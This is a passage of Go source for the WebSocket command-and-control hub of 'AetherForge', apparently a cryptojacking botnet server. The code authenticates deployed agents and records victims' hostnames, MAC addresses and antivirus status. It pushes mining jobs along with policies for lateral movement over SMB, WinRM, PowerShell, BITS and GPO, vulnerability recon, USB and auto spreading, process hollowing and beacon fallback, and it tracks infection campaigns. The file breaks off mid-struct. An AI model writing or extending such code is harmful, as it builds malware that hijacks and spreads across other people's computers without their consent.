AetherForge/server/internal/api/websocket.go

package api

import (
	"crypto/subtle"
	"database/sql"
	"encoding/base64"
	"encoding/json"
	"errors"
	"fmt"
	"log"
	"net/http"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/alerts"
	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/pool"
	"crypto-miner-server/internal/strategy"
	"crypto-miner-server/internal/vuln"

	"github.com/google/uuid"
	"github.com/gorilla/websocket"
)

// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}

func coalesceStr(vals ...string) string {
	for _, v := range vals {
		if strings.TrimSpace(v) != "" {
			return strings.TrimSpace(v)
		}
	}
	return ""
}

// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
func resolveDashboardWSUser(r *http.Request) (string, bool) {
	if ticket := r.URL.Query().Get("ticket"); ticket != "" {
		return consumeWSTicket(ticket)
	}
	token := r.URL.Query().Get("token")
	if token == "" {
		return "", false
	}
	decoded, err := base64.StdEncoding.DecodeString(token)
	if err != nil {
		return "", false
	}
	parts := strings.SplitN(string(decoded), ":", 2)
	if len(parts) != 2 {
		return "", false
	}
	user, pass := parts[0], parts[1]
	if authCacheHit(user, pass) {
		return user, true
	}
	usersMu.RLock()
	stored, exists := authUsers[user]
	usersMu.RUnlock()
	if !exists || !checkPassword(stored, pass) {
		return "", false
	}
	authCacheSet(user, pass)
	return user, true
}

// checkDashboardWSToken validates dashboard WS upgrade credentials.
func checkDashboardWSToken(r *http.Request) bool {
	_, ok := resolveDashboardWSUser(r)
	return ok
}

var upgrader = websocket.Upgrader{
	ReadBufferSize:  512 * 1024,
	WriteBufferSize: 512 * 1024,
	CheckOrigin: func(r *http.Request) bool {
		return true // Allow all origins for local use
	},
}

type Message struct {
	Type    string          `json:"type"`
	Payload json.RawMessage `json:"payload"`
}

type AgentConnection struct {
	AgentID   string
	Conn      *websocket.Conn
	mu        sync.Mutex
	// Latency tracking — updated each ping/pong cycle.
	latencyMu sync.Mutex
	pingSentAt time.Time
	LatencyMs  *int // nil until first pong received
}

func (c *AgentConnection) SendJSON(v interface{}) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	return c.Conn.WriteJSON(v)
}

// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
	Conn     *websocket.Conn
	mu       sync.Mutex
	Username string
	Page     string
}

func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteMessage(messageType, data)
}

func (d *DashboardConn) WriteJSON(v interface{}) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteJSON(v)
}

func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteControl(messageType, data, deadline)
}

// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }

// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
type ConnectTaskRunner interface {
	RunConnectTasks(agentID, trigger string)
}

type WSHub struct {
	db              *db.Database
	agents          map[string]*AgentConnection
	dashboards      map[string]*DashboardConn
	poolManager     *pool.Manager
	defaultPool     pool.Config
	aiHandler       *AIHandler
	agentConfigs       map[string]AgentForgeConfig
	agentCapabilities  map[string]models.AgentCapabilities
	agentLogs          map[string]string
	// T1016 DNS drift detection — stores last seen resolver list per agent
	agentDNS           map[string][]string
	// Latest service_discover payloads keyed by agent ID (Crucible service graph).
	agentServiceDiscover map[string]cachedServiceDiscover
	agentLiveTelemetry   map[string]map[string]interface{}
	serverPolicy    ServerPolicy
	adaptiveEngine  *strategy.AdaptiveEngine
	pingIntervalSec int
	fleetSecret     string // baked into forged agents; verified on WS connect
	eventNotifier   *alerts.Notifier
	connectTasks    ConnectTaskRunner
	mu              sync.RWMutex

	// pendingCmdCallbacks allows handlers to await a specific command_result
	// from an agent (used by Path Tracer orchestration).
	pendingCmdMu        sync.Mutex
	pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}

	// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
	beaconMu           sync.Mutex
	beaconLastSeen     map[string]time.Time
	beaconCmdQueue     map[string][]BeaconCommand
	beaconPolicyQueue  map[string][]FleetAgentPolicy

	// Coalesce per-agent stats_update into a single stats_batch frame per tick.
	statsBatchMu    sync.Mutex
	statsBatch      map[string]json.RawMessage
	statsBatchTimer *time.Timer
}

func NewWSHub(database *db.Database) *WSHub {
	// Reset any rows that were left "online" by a previous server crash/restart.
	// Agents will re-authenticate and flip themselves back to online within seconds.
	if database != nil {
		if err := database.MarkAllAgentsOffline(); err != nil {
			log.Printf("[hub] startup offline reset: %v", err)
		}
	}

	h := &WSHub{
		db:                  database,
		agents:              make(map[string]*AgentConnection),
		dashboards:          make(map[string]*DashboardConn),
		agentConfigs:        make(map[string]AgentForgeConfig),
		agentCapabilities:   make(map[string]models.AgentCapabilities),
		agentLogs:           make(map[string]string),
		agentDNS:              make(map[string][]string),
		agentServiceDiscover:  make(map[string]cachedServiceDiscover),
		agentLiveTelemetry:    make(map[string]map[string]interface{}),
		pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
		beaconLastSeen:      make(map[string]time.Time),
		beaconCmdQueue:      make(map[string][]BeaconCommand),
		beaconPolicyQueue:   make(map[string][]FleetAgentPolicy),
		pingIntervalSec:     30,
	}

	// Background stale-agent sweep: if an agent's last_seen is more than
	// 3 minutes old but the row still says "online", force it offline.
	// This catches TCP half-open drops that slip past the ping/pong timeout.
	go h.runStaleAgentSweep()
	go h.runWarRoomBroadcast()

	return h
}

// runStaleAgentSweep periodically marks online agents offline when their
// last_seen timestamp is stale (> 3 minutes without a stats message).
// It also notifies the dashboard so client state stays in sync.
func (h *WSHub) runStaleAgentSweep() {
	if h.db == nil {
		return
	}
	const staleness = 3 * time.Minute
	ticker := time.NewTicker(45 * time.Second)
	defer ticker.Stop()
	for range ticker.C {
		// Only sweep agents that are NOT currently connected in memory.
		// If a live WS exists, let normal disconnect handling do its job.
		h.mu.RLock()
		liveIDs := make(map[string]bool, len(h.agents))
		for id := range h.agents {
			liveIDs[id] = true
		}
		h.mu.RUnlock()

		agents, err := h.db.ListAgents()
		if err != nil {
			continue
		}
		for _, a := range agents {
			if a == nil || a.Status != "online" || liveIDs[a.ID] {
				continue
			}
			if time.Since(a.LastSeen) < staleness {
				continue
			}
			// Row claims online, no live socket, last_seen is stale — fix it.
			_ = h.db.SetAgentOffline(a.ID)
			h.broadcastDashboard(Message{
				Type:    "agent_offline",
				Payload: mustMarshal(map[string]string{"agent_id": a.ID}),
			})
			log.Printf("[hub] stale-sweep marked agent %s offline (last_seen %s ago)",
				a.ID, time.Since(a.LastSeen).Round(time.Second))
		}
	}
}

func (h *WSHub) SetServerPolicy(p ServerPolicy) {
	h.mu.Lock()
	h.serverPolicy = p
	h.mu.Unlock()
}

// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
	h.mu.Lock()
	h.adaptiveEngine = e
	h.mu.Unlock()
	if e != nil {
		go h.runAdaptiveStrategyLoop()
	}
}

func (h *WSHub) runAdaptiveStrategyLoop() {
	ticker := time.NewTicker(strategy.RescoreInterval)
	defer ticker.Stop()
	for range ticker.C {
		h.mu.RLock()
		engine := h.adaptiveEngine
		h.mu.RUnlock()
		if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
			continue
		}
		if _, err := engine.RecomputeAll(); err != nil {
			log.Printf("[strategy] background rescore: %v", err)
		}
		h.PushAdaptiveStrategyUpdates()
	}
}

func (h *WSHub) SetPingInterval(seconds int) {
	if seconds < 10 {
		seconds = 30
	}
	h.mu.Lock()
	h.pingIntervalSec = seconds
	h.mu.Unlock()
}

// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
	h.mu.Lock()
	h.eventNotifier = n
	h.mu.Unlock()
}

func (h *WSHub) SetFleetSecret(secret string) {
	h.mu.Lock()
	h.fleetSecret = secret
	h.mu.Unlock()
}

func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
	h.mu.Lock()
	h.connectTasks = r
	h.mu.Unlock()
}

func (h *WSHub) ConnectedAgentIDs() []string {
	h.mu.RLock()
	defer h.mu.RUnlock()
	ids := make([]string, 0, len(h.agents))
	for id := range h.agents {
		ids = append(ids, id)
	}
	return ids
}

func (h *WSHub) pingInterval() time.Duration {
	h.mu.RLock()
	sec := h.pingIntervalSec
	h.mu.RUnlock()
	if sec < 10 {
		sec = 30
	}
	return time.Duration(sec) * time.Second
}

func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
	conn.SetPongHandler(func(string) error {
		return conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	conn := ac.Conn
	_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
	conn.SetPongHandler(func(string) error {
		// Measure RTT.
		ac.latencyMu.Lock()
		if !ac.pingSentAt.IsZero() {
			ms := int(time.Since(ac.pingSentAt).Milliseconds())
			ac.LatencyMs = &ms
		}
		ac.latencyMu.Unlock()
		return conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		ac.latencyMu.Lock()
		ac.pingSentAt = time.Now()
		ac.latencyMu.Unlock()
		if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			// Close so the read loop wakes up and deferred cleanup fires immediately.
			_ = conn.Close()
			return
		}
	}
}

func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
	dc.Conn.SetPongHandler(func(string) error {
		return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

func (h *WSHub) serverPolicySnapshot() ServerPolicy {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.serverPolicy
}

func (h *WSHub) connectedAgentCount() int {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return len(h.agents)
}

// AwaitCommandResult registers a one-shot channel that will receive the next
// command_result payload for the given agentID+action pair. Call before
// sending the command so no result is missed. The caller must read from the
// returned channel within the given timeout.
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
	ch := make(chan map[string]interface{}, 1)
	h.pendingCmdMu.Lock()
	h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
	h.pendingCmdMu.Unlock()
	return ch
}

// CancelAwait removes a pending callback without consuming it.
func (h *WSHub) CancelAwait(agentID, action string) {
	h.pendingCmdMu.Lock()
	delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
	h.pendingCmdMu.Unlock()
}

func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
	h.pendingCmdMu.Lock()
	ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
	if ok {
		delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
	}
	h.pendingCmdMu.Unlock()
	if ok {
		// Blocking send — Path Tracer and other orchestrators must not drop results.
		ch <- payload
	}
}

func (h *WSHub) isAgentConnected(agentID string) bool {
	h.mu.RLock()
	defer h.mu.RUnlock()
	_, ok := h.agents[agentID]
	return ok
}

// writeAgentJSON sends a message to a connected agent using the per-connection
// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON
// from the read loop, or commands and new_job messages can corrupt each other.
//
// On any write error the underlying connection is closed immediately so the
// read loop's ReadMessage call returns an error, triggering the deferred
// cleanup (SetAgentOffline + agent_offline broadcast) without waiting the full
// 90-second read deadline.
func (h *WSHub) writeAgentJSON(agentID string, msg Message) error {
	ac := h.getAgentConn(agentID)
	if ac == nil {
		return fmt.Errorf("agent %s not connected", agentID)
	}
	if err := ac.SendJSON(msg); err != nil {
		// Closing the socket causes ReadMessage to fail immediately, which lets
		// the HandleAgentWS defer run cleanup instead of waiting up to 90s.
		_ = ac.Conn.Close()
		return err
	}
	return nil
}

func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
	h.mu.Lock()
	h.poolManager = manager
	h.defaultPool = defaultCfg
	h.mu.Unlock()
}

func (h *WSHub) SetAIHandler(ai *AIHandler) {
	h.mu.Lock()
	h.aiHandler = ai
	h.mu.Unlock()
}

func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
	h.mu.RLock()
	defer h.mu.RUnlock()
	cfg := h.agentConfigs[agentID]
	poolCfg := pool.Config{
		Host:   cfg.poolHostOrDefault(h.defaultPool.Host),
		Port:   cfg.poolPortOrDefault(h.defaultPool.Port),
		Wallet: cfg.Wallet,
	}
	if cfg.PoolHost == "" {
		poolCfg.UseTLS = h.defaultPool.UseTLS
	} else {
		poolCfg.UseTLS = cfg.PoolTLS
	}
	if cfg.PoolPass != "" {
		poolCfg.Password = cfg.PoolPass
	} else if h.defaultPool.Password != "" {
		poolCfg.Password = h.defaultPool.Password
	} else {
		poolCfg.Password = "x"
	}
	if poolCfg.Wallet == "" {
		poolCfg.Wallet = h.defaultPool.Wallet
	}
	// Always carry the payment ID from the server-wide default (agents don't
	// supply their own payment ID).
	poolCfg.PaymentID = h.defaultPool.PaymentID
	return poolCfg
}

func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agents[agentID]
}

func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
	clientIP := r.Header.Get("X-Forwarded-For")
	if clientIP == "" {
		clientIP = r.RemoteAddr
	}
	if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
		clientIP = clientIP[:idx]
	}
	log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
	if !allowAgentWSUpgrade(clientIP) {
		http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
		log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
		return
	}
	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
		return
	}
	log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
	_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))

	agentID := ""
	defer func() {
		if agentID != "" {
			h.mu.Lock()
			cur := h.agents[agentID]
			// Only tear down fleet state if this connection is still the active one.
			if cur != nil && cur.Conn == conn {
				delete(h.agents, agentID)
				delete(h.agentConfigs, agentID)
				delete(h.agentLogs, agentID)
				h.mu.Unlock()
				if h.aiHandler != nil {
					h.aiHandler.RemoveEngine(agentID)
				}
				if err := h.db.SetAgentOffline(agentID); err != nil {
					log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
				}
				h.broadcastDashboard(Message{
					Type:    "agent_offline",
					Payload: mustMarshal(map[string]string{"agent_id": agentID}),
				})
			} else {
				h.mu.Unlock()
			}
		}
		conn.Close()
	}()

	for {
		_, msgBytes, err := conn.ReadMessage()
		if err != nil {
			log.Printf("Agent read error: %v", err)
			break
		}

		var msg Message
		if err := json.Unmarshal(msgBytes, &msg); err != nil {
			log.Printf("Invalid message from agent: %v", err)
			continue
		}

		switch msg.Type {
		case "auth":
			var auth struct {
				AgentID          string `json:"agent_id"`
				FleetSecret      string `json:"fleet_secret"`
				Wallet           string `json:"wallet"`
				BackupPools      []struct {
					Host string `json:"host"`
					Port int    `json:"port"`
					TLS  bool   `json:"pool_tls"`
					Pass string `json:"pass"`
				} `json:"backup_pools"`
				Version          string `json:"version"`
				Hostname         string `json:"hostname"`
				Worker           string `json:"worker"`
				WorkerName       string `json:"worker_name"`
				CPUCores         int    `json:"cpu_cores"`
				MemoryGB         int    `json:"memory_gb"`
				PoolHost         string `json:"pool_host"`
				PoolPort         int    `json:"pool_port"`
				PoolTLS          bool   `json:"pool_tls"`
				PoolPass         string `json:"pool_pass"`
				AIEnabled        bool   `json:"ai_enabled"`
				AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
				AIModel          string `json:"ai_model"`
				HolePunch        bool   `json:"hole_punch"`
				RemoteAggressive bool   `json:"remote_aggressive"`
				MeshP2P          bool   `json:"mesh_p2p"`
				AutoSpread       bool   `json:"auto_spread"`
				ProcessHollowing bool   `json:"process_hollowing"`
			Platform         string `json:"platform"`
			Arch             string `json:"arch"`
			OSVersion        string `json:"os_version"`
			MacAddress       string `json:"mac_address,omitempty"`
			BuildID          string `json:"build_id"`
			USBSpread        bool   `json:"usb_spread"`
			Campaign         string `json:"campaign"`
			UTM              string `json:"utm"`
			LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
			JoinLane             string `json:"join_lane,omitempty"`
		}
			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "invalid auth payload",
				})})
				continue
			}

		// Verify fleet secret. If the server has one configured, the agent must match.
		h.mu.RLock()
		requiredSecret := h.fleetSecret
		h.mu.RUnlock()
		log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
		if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
			conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
				"success": false, "error": "invalid fleet secret — re-forge this agent",
			})})
			log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
			return
		}

		agentID = auth.AgentID
		if agentID == "" {
			// Try to match an existing agent by MAC address so a re-installed
			// agent reuses its DB record instead of creating a ghost entry.
			if auth.MacAddress != "" {
				if existingID, err := h.db.FindAgentByMAC(auth.MacAddress); err == nil && existingID != "" {
					agentID = existingID
					log.Printf("[WS] Matched agent by MAC %s → reusing id=%s", auth.MacAddress, agentID)
				}
			}
			if agentID == "" {
				agentID = uuid.New().String()
			}
		}

			displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)

			policy := h.serverPolicySnapshot()

			backupPools := make([]AgentBackupPool, len(auth.BackupPools))
			for i, bp := range auth.BackupPools {
				backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
			}

			forgeCfg := AgentForgeConfig{
				Wallet:           auth.Wallet,
				PoolHost:         auth.PoolHost,
				PoolPort:         auth.PoolPort,
				PoolTLS:          auth.PoolTLS,
				PoolPass:         auth.PoolPass,
				AIEnabled:        auth.AIEnabled,
				AIOllamaEndpoint: auth.AIOllamaEndpoint,
				AIModel:          auth.AIModel,
				BackupPools:      backupPools,
			}

			caps := models.AgentCapabilities{
				HolePunch:        auth.HolePunch,
				RemoteAggressive: auth.RemoteAggressive,
				MeshP2P:          auth.MeshP2P,
				AutoSpread:       auth.AutoSpread,
				ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
				AIEnabled:        auth.AIEnabled,
				USBSpread:        auth.USBSpread,
			}

			h.mu.Lock()
			h.agentConfigs[agentID] = forgeCfg
			h.agentCapabilities[agentID] = caps
			h.mu.Unlock()

			if h.poolManager != nil {
				poolCfg := h.agentPoolConfig(agentID)
				if poolCfg.Password == "" {
					poolCfg.Password = "x"
				}

				// Build backup pool.Config list from what the agent sent at auth.
				var backupCfgs []pool.Config
				for _, bp := range backupPools {
					if bp.Host == "" || bp.Port <= 0 {
						continue
					}
					bpc := pool.Config{
						Host:   bp.Host,
						Port:   bp.Port,
						UseTLS: bp.TLS,
						Wallet: poolCfg.Wallet,
					}
					if bp.Pass != "" {
						bpc.Password = bp.Pass
					} else {
						bpc.Password = poolCfg.Password
					}
					backupCfgs = append(backupCfgs, bpc)
				}

				// Connect to pool in background — do NOT block the auth_response.
				// Once the pool is ready, push the current job so the agent starts
				// mining immediately instead of waiting for a get_job retry cycle.
				go func(pc pool.Config, bcs []pool.Config, aid string) {
					proxy, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs)
					if err != nil {
						log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
						return
					}
					if job := proxy.GetCurrentJob(); job != nil {
						if wErr := h.writeAgentJSON(aid, Message{Type: "new_job", Payload: mustMarshal(job)}); wErr != nil {
							log.Printf("[WS] Push initial job to agent %s: %v", aid, wErr)
						}
					}
				}(poolCfg, backupCfgs, agentID)
			}

			if h.aiHandler != nil && forgeCfg.AIEnabled {
				h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
			}

			clientIP := r.Header.Get("X-Forwarded-For")
			if clientIP == "" {
				clientIP = r.RemoteAddr
			}
			if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
				clientIP = clientIP[:idx]
			}

			prior, priorErr := h.db.GetAgent(agentID)
			isNewAgent := errors.Is(priorErr, sql.ErrNoRows)

			workerName := auth.WorkerName
			if workerName == "" {
				workerName = auth.Worker
			}

			agent := &models.Agent{
				ID:           agentID,
				Name:         displayName,
				Wallet:       auth.Wallet,
				IP:           clientIP,
				Version:      auth.Version,
				Status:       "online",
				CPUCores:     auth.CPUCores,
				MemoryGB:     auth.MemoryGB,
				LastSeen:     time.Now(),
				Platform:     auth.Platform,
				Arch:         auth.Arch,
				OSVersion:    auth.OSVersion,
				Hostname:     auth.Hostname,
				MacAddress:   auth.MacAddress,
				BuildID:      auth.BuildID,
				WorkerName:   workerName,
				USBSpread:    auth.USBSpread,
				Campaign:     coalesceStr(auth.Campaign, auth.UTM),
				JoinLane:     strings.TrimSpace(auth.JoinLane),
				Capabilities: &caps,
			}

			if err := h.db.UpsertAgent(agent); err != nil {
				log.Printf("Failed to upsert agent: %v", err)
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "database error",
				})})
				break
			}

			if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
				_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
			}

			if policy.LogAgentConnections {
				log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
			}

		// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
		// two concurrent new agents could both pass the count check under RLock, then
		// both get registered, overshooting the limit.
		h.mu.Lock()
		_, alreadyConnected := h.agents[agentID]
		if policy.MaxAgents > 0 {
			if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
				h.mu.Unlock()
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "fleet agent limit reached",
				})})
				break
			}
		}
		// startPing tracks whether a new ping goroutine is needed.
		// If the same connection is re-authing (rare but possible), the existing
		// ping loop is still healthy — starting a second one would create two
		// concurrent writers racing on conn.WriteControl.
		startPing := !alreadyConnected
		if old, ok := h.agents[agentID]; ok && old.Conn != conn {
			oldConn := old.Conn
			h.mu.Unlock()
			oldConn.Close()
			h.mu.Lock()
			startPing = true // fresh connection after displacing old one
		}
		ac := &AgentConnection{AgentID: agentID, Conn: conn}
		h.agents[agentID] = ac
		h.mu.Unlock()

		h.FlushBeaconPoliciesToWS(agentID)
		h.FlushBeaconCommandsToWS(agentID)
		h.ClearBeaconTransport(agentID)

		// Only start a ping loop for genuinely new connections.
		if startPing {
			go h.runPingLoopAgent(ac)
		}

		conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
			resp := map[string]interface{}{
				"success":  true,
				"agent_id": agentID,
			}
			if auth.LotlPolicyFromServer {
				tiers := policy.LotlOnionTiers
				if len(tiers) == 0 {
					tiers = []string{
						"vuln_recon",
						"docker", "wsl", "powershell", "dotnet", "bits_curl",
						"smb", "winrm", "linux", "gpo",
					}
				}
				resp["lotl_onion_tiers"] = tiers
			}
			mp := policy.MiningTierPolicy
			if len(mp.TierOrder) == 0 {
				mp.TierOrder = []string{
					"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
					"cpu_inprocess", "gpu_subprocess", "stratum_direct",
				}
			}
			resp["mining_tier_policy"] = mp
			top := policy.TripleOnionPolicy
			if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
				!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
				top.PatchFirst = true
				top.HighRiskThreshold = 50
				top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
				top.DeployLanes = []string{
					"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
				}
			}
			resp["triple_onion_policy"] = top
			if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled {
				domainJoined := false
				if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
					domainJoined = true
				}
				fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
				adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
				resp["adaptive_strategy"] = adaptive
			}
			return resp
		}())})

			// Auto-start mining: ensure the agent isn't stuck in a paused
			// state from a previous session. The agent's in-memory pause flag
			// resets on each restart, but sending resume is a cheap no-op and
			// guarantees hashing begins as soon as a job arrives.
			if h.agentPoolConfig(agentID).Wallet != "" {
				_ = h.writeAgentJSON(agentID, Message{
					Type:    "command",
					Payload: mustMarshal(map[string]interface{}{"action": "resume"}),
				})
			}

			// Enrich agent with hostname before broadcasting so the dashboard
			// immediately shows the correct machine-specific display name.
			agent.Hostname = auth.Hostname

			h.broadcastDashboard(Message{
				Type:    "agent_online",
				Payload: mustMarshal(agent),
			})

			if h.eventNotifier != nil {
				platform := auth.Platform
				if platform == "" {
					platform = "unknown"
				}
				if isNewAgent {
					h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
						displayName+" joined the fleet ("+platform+" · "+clientIP+")")
				} else if alreadyConnected {
					h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
						displayName+" took over an active session ("+clientIP+")")
				} else if prior != nil && prior.Status != "online" {
					h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
						displayName+" is back online ("+platform+" · "+clientIP+")")
				}
			}

			h.mu.RLock()
			runner := h.connectTasks
			h.mu.RUnlock()
			if runner != nil {
				if isNewAgent {
					go runner.RunConnectTasks(agentID, "on_connect")
				} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
					go runner.RunConnectTasks(agentID, "on_reconnect")
				}
			}

		case "stats":
			if agentID == "" {
				continue
			}
			var stats struct {
				Hashrate15s     float64 `json:"hashrate_15s"`
				Hashrate1m      float64 `json:"hashrate_1m"`
				Hashrate15m     float64 `json:"hashrate_15m"`
				SharesSubmitted int     `json:"shares_submitted"`
				SharesAccepted  int     `json:"shares_accepted"`
				CPUUsagePct     float64 `json:"cpu_usage_pct"`
				MemoryUsagePct  float64 `json:"memory_usage_pct"`
				UptimeSeconds   int     `json:"uptime_seconds"`
			// Listen ports
			ListenPortCount  *int     `json:"listen_port_count,omitempty"`
			// DNS config (T1016)
			DNSServers       []string `json:"dns_servers,omitempty"`
			DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
			// Resource pressure
			CPUFreqMHz  *int     `json:"cpu_freq_mhz,omitempty"`
			CPUMaxMHz   *int     `json:"cpu_max_mhz,omitempty"`
			CPUThrottle *bool    `json:"cpu_throttle,omitempty"`
			CPUTempC    *int     `json:"cpu_temp_c,omitempty"`
			DiskFreeGB  *float64 `json:"disk_free_gb,omitempty"`
			DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
			DiskFreePct *int     `json:"disk_free_pct,omitempty"`
			GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
			GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`
			// GPU / Ravencoin mining
			GPUMinerActive *bool   `json:"gpu_miner_active,omitempty"`
			GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
			GPUHashrate1m  float64 `json:"gpu_hashrate_1m,omitempty"`
			GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
			GPUModel       string  `json:"gpu_model,omitempty"`
			// SSH + posture
			SSHAvailable    *bool    `json:"ssh_available,omitempty"`
			PostureScore    *int     `json:"posture_score,omitempty"`
			DefenderEnabled *bool    `json:"defender_enabled,omitempty"`
			DefenderRTP     *bool    `json:"defender_rtp,omitempty"`
			AVProducts      []string `json:"av_products,omitempty"`
			FirewallDomain  *bool    `json:"firewall_domain,omitempty"`
			FirewallPrivate *bool    `json:"firewall_private,omitempty"`
